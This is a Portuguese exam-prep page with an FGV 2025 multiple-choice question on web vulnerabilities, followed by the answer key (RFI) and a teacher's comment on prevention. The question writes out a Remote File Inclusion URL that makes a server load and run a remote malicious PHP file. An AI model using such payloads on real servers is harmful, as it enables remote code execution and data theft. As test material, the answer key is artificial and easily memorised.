FC ConcursosFC Concursos

Questão FC406904

A página web da sociedade empresária Exemplo1234, disponível na internet, permite que internautas acessem o edital de uma vaga de trabalho por meio do endereço eletrônico http://em

Ameaças aos Sistemas Computacionais

FGV · 2025

A página web da sociedade empresária Exemplo1234, disponível na internet, permite que internautas acessem o edital de uma vaga de trabalho por meio do endereço eletrônico http://empresa1234.com/vaga.php?file=vaga.pdf.

 

Durante a verificação de vulnerabilidades contratada por essa empresa, foi observado que o servidor da página web da Empresa1234 processava o valor fornecido no parâmetro file sem realizar validação ou sanitização adequada.

 

Como resultado, foi possível incluir e executar no servidor o conteúdo de um arquivo malicioso hospedado no endereço

http://testevulnerabilidade.com/badpage.php

 

O teste foi realizado utilizando o seguinte endereço:

http://empresa1234.com/vaga.php?file=http://testevulnerabilida de.com/badpage.php

 

Ao acessar essa URL, o conteúdo do arquivo badpage.php foi carregado e executado diretamente pelo servidor da Empresa1234, comprometendo sua segurança.

 

O tipo de vulnerabilidade presente no servidor de página da Empresa1234 é o

  1. LFI – Local File Inclusion.
  2. XSS – Cross-Site Scripting.
  3. SQL Injection.
  4. RFI – Remote File Inclusion.
  5. FPD – Full Path Disclosure.
Mostrar resposta e comentário

Gabarito

D

Comentário do professor

A vulnerabilidade descrita é RFI (Remote File Inclusion): ocorre quando uma aplicação aceita um caminho ou URL fornecido pelo usuário e o inclui/executa no servidor sem validação adequada.


No caso, o parâmetro file recebeu a URL http://testevulnerabilidade.com/badpage.php, que foi carregada e executada pelo servidor, caracterizando inclusão remota de arquivo e permitindo execução de código arbitrário.


O impacto inclui execução remota de código, comprometimento do servidor, roubo de dados e pivot para outros ataques.


Medidas preventivas: nunca incluir arquivos diretamente com base em entrada do usuário; usar lista de permissão de arquivos; validar/normalizar entradas; desabilitar allow_url_include em PHP; aplicar princípio do menor privilégio e manter o software atualizado.

Conteúdo do catálogo FC Concursos · Atualizado em

Continue aprendendo